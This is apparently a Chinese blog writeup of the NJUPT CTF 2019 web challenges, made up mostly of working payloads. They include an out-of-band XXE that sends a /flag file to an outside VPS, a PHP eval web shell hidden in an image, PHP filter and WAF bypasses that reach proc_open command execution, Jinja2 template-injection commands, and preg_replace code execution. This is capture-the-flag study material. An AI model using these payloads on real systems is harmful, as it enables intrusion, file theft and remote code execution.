NJUPT CTF 2019 web部分writeup


题目挺好玩的,很多不会,慢慢写还是有点思路的,学到了很多新知识。

Fake XML cookbook

测试了一下,没有回显,所以进行参数实体的注入,在vps上放一个xml文件,让它加载,文件内容如下

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://47.103.62.94:8080/?content=%file;'>"> %payload;

因为题目提示了flag is in /flag,所以构造请求的xml内容如下

<?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../../../flag"> <!ENTITY % dtd SYSTEM "http://47.103.62.94:8080/evil.xml"> %dtd; %send; ]>
<user>
  <username>1</username>
  <password>1</password>
  <name>&xxe;</name>
</user>

1574587789404

最后把content的内容base64解码即是flag

ps.补充一下,后来看大佬们的解决方法是存在回显的,如下构造payload即可看到回显。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///flag">
]>

<user>
  <username>&xxe;</username>
  <password>1</password>
</user>

easyphp

是一个函数绕过题,挺好玩的,

1st

if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
    echo '1st ok'."<br>";
}
else{
    die('23333333');
} 

可以给num传23333%0a就可以绕过%0a是换行的意思

2nd

if(is_numeric($string_1)){
    $md5_1 = md5($string_1);
    $md5_2 = md5($string_2);
    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'cxhp', '0123');
        $b = strtr($md5_2, 'cxhp', '0123');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}

弱类型比较,当两个字符串以0e开头且全为数字时,==会判断他们相等,返回bool(true),如

1574588638162

所以就有思路啦,需要$string_1是数字,$string_1和$string_2的md5值不等,但把$string_1和$string_2进行md5算法后的值’cxhp’替换为’0123’后,$a==$b,所以我们可以找出数字,md5算法后的值为0e或ce开头,且内容全为数字或’cxhp’,写个脚本跑了一下跑出一个数字,两个字符满足要求,脚本如下,然后让str1=2120624&str2=0yFCJ即可绕过第二步。

0yFCJ    0dmRZ    2120624
import hashlib

dic = '0123456789qwertyuiopASDFGHJKLzxcvbnmQWERTYUIOPasdfghjklZXCVBNM'
def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()
for a in dic:
    for b in dic:
        for c in dic:
            for d in dic:
                for e in dic:
                    f=a + b + c + d + e
                    T = md5(f)
                    T = T.replace('c', '0')
                    T = T.replace('x', '1')
                    T = T.replace('h', '2')
                    T = T.replace('p', '3')
                    if((T)[0:2]=='0e' and (T)[3:].isdigit()):
                        print(f)
                        break
'''
import hashlib

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()

for i in range(1000000000):
    T = md5(str(i))
    T = T.replace('c', '0')
    T = T.replace('x', '1')
    T = T.replace('h', '2')
    T = T.replace('p', '3')
    if ((T)[0:2] == '0e' and (T)[3:].isdigit()):
        print(i)
        break
'''

3rd

$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
    die("too long :(");
}

if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
    $arr = explode(' ', $cmd);
    if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
        if(substr_count($cmd, 'cat') === 0){
            system($cmd);
        }
        else{
            die('ban cat :) ');
        }
    }
    else{
        die('bad guy!');
    }
}
else{
    die('nonono _ is bad');
}
?> 

这个是要让请求的字符串中不能含_和%5f(%5f为_的url编码),但又要对q_w_q传值。。。开始想了很久没有思路,问了大佬,他说_可以用.来代替,没想到这样也可以学到了学到了,所以对q.w.q传值即可,然后就简单啦,令q.w.q=more *.*就可以啦,*是通配符,more以全屏幕的方式按页显示文本文件的内容

最终完整payload为

http://nctf2019.x1ct34m.com:60005/?num=23333%0a&str1=2120624&str2=0yFCJ&q.w.q=more *.*

Upload your Shell

看源码,发现了这个./index.php?action=imgs.html

点进去看了一下,就是上传点,有文件类型检测,做一个图片马,copy 1.jpg/b+2.php/a 1.jpg(文件包含解析b表示二进制,a表示ascii码),然后发现不能有<?,这个之前考过,这样写就可以啦

<script language="php">@eval($_POST['a']);</script>

上传成功后给了个地址,action包含这个地址就可以啦,最终payload

http://nctf2019.x1ct34m.com:60002/index.php?action=/var/www/html/upload-imgs/ed8c5de065c6151959b08babc2521a15/Th1s_is_a_fl4g.jpg

hacker_backdoor

这个题目也是绕过,waf ban了所有函数和eval,assert,但是可以用字符串拼接绕过,这个题也学到了很多知识,原来eval也可以执行一段代码。

http://nctf2019.x1ct34m.com:60004/?code=$a='php'.'info';%0a$a();&useful=index.php

先看一下phpinfo()的disable_function,发现ban了很多函数还包括scandir,readfile,file_get_contents这样的函数(这里没仔细看,其实它放了一个命令执行函数proc_open)后面会发现这个问题,先不说,进行常规步骤,我是找替代scandir,readfile这样的函数,发现了glob函数和highlight_file函数可以使用。

http://nctf2019.x1ct34m.com:60004/?code=$a='var_'.'dump';%0a$b='gl'.'ob';%0a$c='../../../*';%0a$a($b($c));&useful=index.php        //遍历目录
http://nctf2019.x1ct34m.com:60004/?code=$a='highl'.'ight_f'.'ile';%0a$c='../../../readflag';%0a$a($c);&useful=index.php        //读取内容

本以为这样读flag就结束了,可是它竟然读不了。。。后来看到了readflag就知道是要用这个读啦,盲猜readflag的内容是cat /flag,所以想办法执行readflag就行了,返回去看disable_functions,ban了那么多函数,以为命令执行函数早被禁完了,但是最终发现没有ban proc_open函数,所以用它执行readflag命令,最终payload如下

http://nctf2019.x1ct34m.com:60004/?code=$test="../../.././readflag";%0a$z='p'.'ipe';%0a$b='proc'.'_open';%0a$c='var_d'.'ump';%0a$d='strea'.'m_get_c'.'ontents';%0a$e='proc_c'.'lose';%0a$a=array(array("$z","r"),array("$z","w"),array("$z","w"));%0a$fp = $b($test,$a,$zs);%0a$c($d($zs[1]));%0a$e($fp);&useful=index.php

flask

额,这是一个Flask模板注入 ,具体原因可以看这篇文章 传送门

直接上payload

http://nctf2019.x1ct34m.com:40007/{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls ..').read()}}    //执行命令

这里看到了flag直接cat ../flag是禁止的,于是用ascii编码绕过,最终payload为

http://nctf2019.x1ct34m.com:40007/{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read() }}

True XML cookbook

也是一个xxe,要通过xxe内网探测,读一下/proc/net/arp文件,这个文件用来显示当前路由器上,client的name,ip,mac,connect_type信息,具体介绍如下

IP address       HW type     Flags       HW address            Mask     Device
192.168.1.234    0x1         0x0         00:00:00:00:00:00     *        eth0
192.168.1.241    0x1         0x0         00:00:00:00:00:00     *        eth0

每个网络接口的arp表中dev包的统计
IP address:IP地址(直连)
HW type:硬件类型 
23=0x17   strip (Metricom Starmode IP) 
01=0x01   ether (Ethernet) 
15=0xf      dlci (Frame Relay DLCI) 
Flags:
HW address:MAC 地址
Mask:
Device:所在网络接口

之后一个一个试就可以了,结果如下

1574779072769

replace

这个题当时想到了是preg_replace()函数/e下的命令执行,随便测了下,没发现什么就没看了,现在发现其实也挺简单的,测试发现过滤了一些函数和引号,这里先给出payload,具体总结会在之后的文章,

sub=1&pat=1&rep=var_dump(scandir(chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47)));    //遍历目录
sub=1&pat=1&rep=var_dump(readfile(chr(47).chr(102).chr(108).chr(97).chr(103)))    //读取flag

这些题涉及挺多知识的,等过几天有空把做题经常遇到的知识总结一下。


Author: LiM
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source LiM !
 Previous
EIS 2019 web writeup EIS 2019 web writeup
本来可以尝试着写一下的,可惜那天都在上课,这里做一下记录 ezbypass它给了一个shell,无法执行命令,要bypass open_basedir,这个上次有遇到过,写个shell在/tmp/目录下(通过利用环境变量 LD_PRELOA
2019-11-25 LiM
Next 
upload-libs通关笔记 upload-libs通关笔记
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身
2019-11-19 LiM
  TOC